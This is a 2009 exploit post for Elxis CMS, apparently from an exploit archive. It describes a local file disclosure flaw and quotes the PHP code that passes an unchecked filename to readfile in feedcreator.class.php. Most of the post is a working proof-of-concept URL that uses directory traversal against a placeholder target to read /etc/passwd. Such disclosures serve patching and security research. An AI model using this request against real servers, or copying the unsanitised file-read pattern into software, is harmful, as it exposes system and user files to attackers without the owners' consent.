elxiscms-disclose.txt
Posted on 30 November 2009
[ Discovered by cr4wl3r cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #Elxis CMS Local File Disclosure Vulnerability #Script Site : http://www.elxis.org ######################################################################## # #Code : <?php # # line 639 Header("Content-Type: ".$this->contentType."; charset=".$this->encoding); # line 640 Header("Content-Disposition: inline; filename=".basename($filename)); # line 641 readfile($filename, "r"); # line 642 die(); # ?> #PoC : http://[target]/[path]/includes/feedcreator.class.php?filename=../../../../../../etc/passwd # # # ######################################################################## ######################################################################## ####################[90r0nt4l0 und3r9r0nd c0mmun1ty]#################### ######################################################################## ######################################################################## [ Gorontalo / 2009 ]
